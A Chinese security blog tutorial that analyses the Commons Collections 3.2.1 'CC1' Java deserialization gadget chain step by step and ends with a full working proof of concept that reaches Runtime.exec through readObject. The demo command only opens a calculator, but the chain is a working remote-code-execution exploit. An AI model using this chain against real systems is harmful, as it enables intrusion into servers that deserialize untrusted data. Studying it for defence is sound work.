Java反序列化cc1链

admin 2024年11月1日17:43:10评论6 views字数 13658阅读45分31秒阅读模式

Java反序列化CommonsCollections-CC1链

你们好,我是Drift,今天我们来分析一下Java反序列化中大名鼎鼎的cc1链,前期的环境配置可以参考我本文末的链接,我们着重一下分析过程。

原作者:Drfit

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。

我们利用这些漏洞的方法一般是寻找到某个带有危险方法的类,然后溯源,看看哪个类中的方法有调用危险方法(有点像套娃,这个类中的某个方法调用了下个类中的某个方法,一步步套下去,这里表述的可能不是特别清晰,不过没事,慢慢看下去),并且继承了序列化接口,然后再依次向上回溯,直到找到一个重写了readObject方法的类,并且符合条件,那么这个就是起始类,我们可以利用这个类一步步的调用到危险方法(这里以"Runtime中的exec方法为例"),这就是大致的Java漏洞链流程。

这一切要从反射开始说起
我们来看一下例子,写一个原生的命令执行,这里创建一个Runtime对象,并通过反射获取到Runtime类里的exec()方法,最后使用反射调用Runtime对象中的exec()方法,并且传入参数calc。
Runtime obj = Runtime.getRuntime();Class c = Class.forName("java.lang.Runtime");Method method = c.getDeclaredMethod("exec", String.class);method.setAccessible(true);method.invoke(obj, "calc");

故事的开始是Transform这个接口,crtl+alt+b看一下实现接口的类,注意到InvokerTransformer,这个类是可序列化的,我们跟进去看一下。

Java反序列化cc1链

###InvokerTransformer

看到这里使用了反射,这里便于我们进行反射得到Runtime,这个构造方法是可控的,所以我们可以考虑新建一个InvokerTransformer对象,并给他传入参数,达成跟上面原生的命令执行一样的效果。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {    super();    iMethodName = methodName;    iParamTypes = paramTypes;    iArgs = args;}public Object transform(Object input) {    if (input == null) {        return null;    }    try {        Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);    } catch (NoSuchMethodException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");    } catch (IllegalAccessException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");    } catch (InvocationTargetException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);    }}
构造一下就是这个效果,分别初始化一个Runtime对象和InvokerTransformer对象,调用InvokerTransformer中的transform方法,通过反射调用Runtime对象中的exec()方法,并且传入calc。
Runtime r = Runtime.getRuntime();Object obj = new InvokerTransformer("exec",                      new Class[]{String.class},                      new Object[]{"calc"}).transform(r);

执行一下,可以看到成功弹出了计算器,我们接着往下走,因为构造反序列化攻击,我们总归要回到readObject()方法,所以我们看看能不能找到一个重写readObject()方法的,我们又可以控制。

InvokerTransformer.transform(),找一个替换掉InvokerTransformer的方法,我们看一下谁还实现了transform这个方法。

Java反序列化cc1链
这里就找到了TransformedMap这个类里面,他也实现了transform这个方法,我们来看一下他的构造函数。

Java反序列化cc1链

###TransformedMap

这里其实他的构造函数是protected受保护的,所以我们还不可以直接调用它,但是这个类中的decorate方法,static在类加载的时候就已经加载进来了,我们是可以直接声明调用的,可以把它当成一个跳板。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {        super(map);        this.keyTransformer = keyTransformer;        this.valueTransformer = valueTransformer;    }public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {        return new TransformedMap(map, keyTransformer, valueTransformer);    }protected Object checkSetValue(Object value) {        return valueTransformer.transform(value);    }

到这里我们来构造一下exp

入口从decorate()进去,

第一个参数我们就声明一个空的hashMap即可

第二个参数我们控制与否没有意义,所以直接传入null即可

这里第三个参数,为了控制目标方法checkSetValue()中的valueTransformer,我们传入构造好的InvokerTransformer对象即可

当我们初始化decorateMap这个对象出来后,里面只剩下transform()中的value我们没有控制,所以通过反射获取到TransformedMap类,通过触发decorateMap对象中的checkSetValue()方法,传入Runtime()对象即可。

其实最后的效果就是我注释的那一行,没有那么复杂。

Runtime r = Runtime.getRuntime();//    Object obj = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);HashMap hashMap = new HashMap();InvokerTransformer obj = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Map decorateMap = TransformedMap.decorate(hashMap, null, obj);Class c = Class.forName("org.apache.commons.collections.map.TransformedMap");Method method = c.getDeclaredMethod("checkSetValue", Object.class);method.setAccessible(true);method.invoke(decorateMap, r);

我们接着往下走 看一下谁实现了checkSetValue()方法,这样才能继续往上走。

这里找到了TransformedMap的父类AbstractInputCheckedMapDecorator,他的内部类MapEntry调用了这个方法,这个东西其实就是一个遍历Map的操作,然后下面的setValue()方法对键值对中的value赋值

Java反序列化cc1链

###AbstractInputCheckedMapDecorator

我们在进行decorate()方法调用,进行Map遍历的时候,就会走到setValue()当中,而 setValue()就会调用checkSetValue()

    static class MapEntry extends AbstractMapEntryDecorator {        /** The parent map */        private final AbstractInputCheckedMapDecorator parent;        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {            super(entry);            this.parent = parent;        }        public Object setValue(Object value) {            value = parent.checkSetValue(value);            return entry.setValue(value);        }    }

这里使用一个数组遍历的形式 去触发setValue方法

这里有个理解上的问题 自己调试一下其实也就懂了

Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

这个decorateMap其实就是一个对象 最后返回了hashMap

他就是把这个对象里的checkSetValue()方法中的赋值了而已

参考下面这个图片,第一个参数hashMap传入了进去,最后就是返回了它本身,也就是hashMap,所以我们才可以遍历这个Map。

Java反序列化cc1链

就是这个意思,当遍历数组的时候就是那个hashMap,这里因为作用域的问题,会先在本类寻找setValue()方法,没有就找父类,所以这里就找到了上述AbstractInputCheckedMapDecorator类中的setValue()方法,进而调用了checkSetValue()方法,传入Runtime()对象,造成命令执行。

Java反序列化cc1链
Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put("key", "value");Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);for (Map.Entry entry:decorateMap.entrySet()){    entry.setValue(runtime);}

再接着往下走,看谁又实现了setValue()这个方法

我们看到了心心念念的readObject()方法在AnnotationInvocationHandler类中出现了,并且这个类作用域非public,而是默认。
public: 表明该方法或者变量对所以的类是可见的,所有的类或者对象都可以进行访问。
protected:表明该变量或者变量不能被非同一包中的类或者对象调用,子类具有访问父类的权限,
default:表明只有同一类,或者同一包中的类有访问权限,而其子类不能访问
private:表明该方法或者变量只有当前类才可以进行访问
private void readObject(java.io.ObjectInputStream s)        throws java.io.IOException, ClassNotFoundException {        s.defaultReadObject();        // Check to make sure that types have not evolved incompatibly        AnnotationType annotationType = null;        try {            annotationType = AnnotationType.getInstance(type);        } catch(IllegalArgumentException e) {            // Class is no longer an annotation type; time to punch out            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");        }        Map<String, Class<?>> memberTypes = annotationType.memberTypes();        // If there are annotation members without values, that        // situation is handled by the invoke method.        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {            String name = memberValue.getKey();            Class<?> memberType = memberTypes.get(name);            if (memberType != null) {  // i.e. member still exists                Object value = memberValue.getValue();                if (!(memberType.isInstance(value) ||                      value instanceof ExceptionProxy)) {                    memberValue.setValue(                        new AnnotationTypeMismatchExceptionProxy(                            value.getClass() + "[" + value + "]").setMember(                                annotationType.members().get(name)));                }            }        }    }
Java反序列化cc1链
这里有四个问题,我们一一进行解决:
问题一:无法直接获取AnnotationInvocationHandler类
因为这个类的作用域是默认的,我们只能通过反射来获取,并且创建对象。

所以我们考虑使用反射获取这个私有类,这里直接通过反射创建了一个AnnotationInvocationHandler对象。

它的构造函数长这样子,两个参数,一个是Class注解类型,一个是Map类型。

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

我们通过反射获取到这个类的构造器,新建AnnotationInvocationHandler对象,并且参数参数,这个Override.class就是一个注解类型,@Override就是重写。我们想的肯定是传入了decorateMap最后可以走到readObject()的setValue()方法。但是这里是不行的,我们接着往下看。
Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put("key", "value");Map<ObjectObject> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);aihdlConstructor.setAccessible(true);//实例化对象Object o = aihdlConstructor.newInstance(Override.class, decorateMap);serialize(o);unserializableTest("ser.bin");

问题二:Runtime类是不可以进行序列化的

我们一路用过来的这个Runtime类其实是不可以序列化的,并没有实现序列化那个接口。所以我们得想办法把他搞成可以序列化的形式。

Java反序列化cc1链

它的class是可以进行序列化的 这里要改写为InvokerTransformer的形式看一下用纯反射的形式来弹计算器,把它改写为InvokerTransformer的形式。

Class runtime = Runtime.class;Method method = runtime.getDeclaredMethod("getRuntime");  --获取他的方法Runtime r = (Runtime) method.invoke(null, null);  --新创建一个对象Method m = runtime.getDeclaredMethod("exec", String.class);m.invoke(r, "calc");

对照着写,其实还是可以理解的。

写下来其实还是相当于invokertransform.transform("exec")的形式。

但是这样写有点繁琐,我们可不可以再简化一下。

//通过调用Runtime这个类里面的getMethod方法获取getRuntime这个类Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",    new Class[]{String.class,Class[].class},    new Object[]{"getRuntime",null}).transform(Runtime.class);//调用invoke方法生成对象Runtime rs = (Runtime) new InvokerTransformer("invoke",    new Class[]{Object.class,Object[].class},    new Object[]{null,null}).transform(getRuntimeMethod);//调用对象里的exec方法 进行执行命令new InvokerTransformer("exec",    new Class[]{String.class},    new Object[]{"calc"}).transform(rs);

###ChainedTransformer

我们可以看到这个类是可以接收一个transformer数组的,我们的Invokertransformer实现了transformer接口,所以这里直接传进去就可以。

public ChainedTransformer(Transformer[] transformers) {    super();    iTransformers = transformers;}public Object transform(Object object) {    for (int i = 0; i < iTransformers.length; i++) {        object = iTransformers[i].transform(object);    }    return object;}

解决完这个问题,exp就可以写到这步了。

写到这步还有两个问题,就是怎么满足那两个if条件,还有最后的setValue()方法中的值我们怎么控制,如何把Runtime这个类传进去

Transformer[] transformers = new Transformer[]{    new InvokerTransformer("getMethod",        new Class[]{String.class,Class[].class},        new Object[]{"getRuntime",null}),    new InvokerTransformer("invoke",        new Class[]{Object.class,Object[].class},        new Object[]{null,null}),    new InvokerTransformer("exec",        new Class[]{String.class},        new Object[]{"calc"})  };ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  //把它看成之前的invokerTransformerHashMap<Object, Object> hashMap = new HashMap<>();hashMap.put("key", "value");Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);aihdlConstructor.setAccessible(true);//实例化对象Object o = aihdlConstructor.newInstance(Override.class, decorateMap);serialize(o);unserializableTest("ser.bin");

第三个问题:怎么满足if条件

这里可以自己调试一下,在第二个问题解决之后的exp,发现第一个if条件就已经gg了。

还有这里依旧要解释一下,到for循环那里,不用想得那么复杂memberValue跟上面解释的同理,他就是我们自己定义的hashMap。

Java反序列化cc1链

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {            String name = memberValue.getKey();            Class<?> memberType = memberTypes.get(name);            if (memberType != null) {  // i.e. member still exists //条件1                Object value = memberValue.getValue();                if (!(memberType.isInstance(value) ||              //条件2                      value instanceof ExceptionProxy)) {                    memberValue.setValue(               //最后我们需要实现的                        new AnnotationTypeMismatchExceptionProxy(                            value.getClass() + "[" + value + "]").setMember(                                annotationType.members().get(name)));                }

这个name定义出来就是获取hashMap键值对的key。

那么memberType是啥,这个type其实就是Override,但是实际上他啥也没有就是空的,所以我们在Override注解中获取成员方法肯定是获取不到的,那么我们要去找另外的注解。

Java反序列化cc1链

这里找到了@Target注解,这里面有一个成员方法value(),这样传入,memberType就可以获取到这个方法,这里就不为空了,并且hashMap的key要和这个成员方法的名字对应上。

Java反序列化cc1链

第四个问题:怎么将最后的那个setValue中的值变为Runtime.class

还缺最后一步就是怎么将Runtime.class传入setValue()里面呢。这里引入了一个很有意思的类。

###ConstantTransformer

可以看到这个类,我们传入什么,当调用transform方法的时候就返回什么,可以把Runtime.class放到这里。

new ConstantTransformer(Runtime.class)作为数组的第一个值,直接传入进去,传入什么返回什么,完成之后object=Runtime.class

最后遍历数组完就是

invokerTransformer.transform(Runtime.class) 完美的闭合掉了

public ConstantTransformer(Object constantToReturn) {    super();    iConstant = constantToReturn;}public Object transform(Object input) {    return iConstant;}

这里没有关系,如果不是很清晰,可以进行调试,跟着走一下就理解了。调试断在这里,跟着走一下。

这里调用setValue()的时候调用的是AbstractInputCheckedMapDecorator里面的setValue()方法

Java反序列化cc1链

在循环那个chainedTransformer数组的时候,第一个调用的就是这个方法,将Runtime.class传入,返回Runtime.class。

Java反序列化cc1链

就是这个意思,object就等于Runtime.class了,这样我们就又回到了那个形式,chainedTransformer.transform(Runtime.class)。然后遍历完数组就会触发命令执行。

Java反序列化cc1链

最后贴上完整的POC:

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc {    public static void main(String[] args) throws Exception{        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//        chainedTransformer.transform(Runtime.class);        HashMap<Object, Object> hashMap = new HashMap<>();        hashMap.put("value", "vwdwd");        Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);//        for (Map.Entry entry:decorateMap.entrySet()){//            entry.setValue(runtime);//        }//        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);        aihdlConstructor.setAccessible(true);        //实例化对象        Object o = aihdlConstructor.newInstance(Target.class, decorateMap);//        serialize(o);        unserializableTest("ser.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(obj);    }    public static Object unserializableTest(String Filename) throws IOException, ClassNotFoundException {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object o = ois.readObject();        return o;    }}

本文结束。

参考链接:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4  --sun包拷贝到jdk8u65Maven Repository: commons-collections » commons-collections » 3.2.1 (mvnrepository.com)  --pom依赖(Apache Commons Collections » 3.2.1)https://xz.aliyun.com/t/12669?time__1311=GqGxuDRiD%3Dit%3DGN4eeqBKeRtD97EWeeCa4D#toc-3  --参考文章https://mp.weixin.qq.com/s/7fy9koQzwZb8P1btFlmeFw  --参考文章

谢谢大家的观看,如果文中有错误,请大家批评指正,相互学习,本次cc1链的分析也是花了作者三天时间,从头到尾走下来,还是很有意义的,这个链子显得尤为重要,希望大家自己分析的时候多点耐心,好事多磨,谁的成功都不是偶然的。

荣耀的背后刻着一道孤独~

原文作者:

Java反序列化cc1链

原文始发于微信公众号(寒鹭网络安全团队):Java反序列化--cc1链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日17:43:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化cc1链https://cn-sec.com/archives/3343943.html

发表评论

匿名网友 填写信息